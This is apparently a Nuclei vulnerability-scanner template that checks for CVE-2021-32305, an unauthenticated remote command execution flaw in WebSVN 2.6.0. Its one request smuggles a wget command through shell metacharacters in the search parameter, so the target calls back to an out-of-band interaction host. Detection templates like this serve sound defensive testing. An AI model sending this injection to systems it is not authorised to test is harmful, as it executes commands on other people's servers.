id: CVE-2021-32305

info:
  name: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
  description: WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter.
  author: gy741
  severity: critical
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32305
    - https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
  tags: cve,cve2021,websvn,rce,oast
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-32305
    cwe-id: CWE-78

requests:
  - raw:
      - |
        GET /search.php?search=%22;wget+http%3A%2F%2F{{interactsh-url}}%27;%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"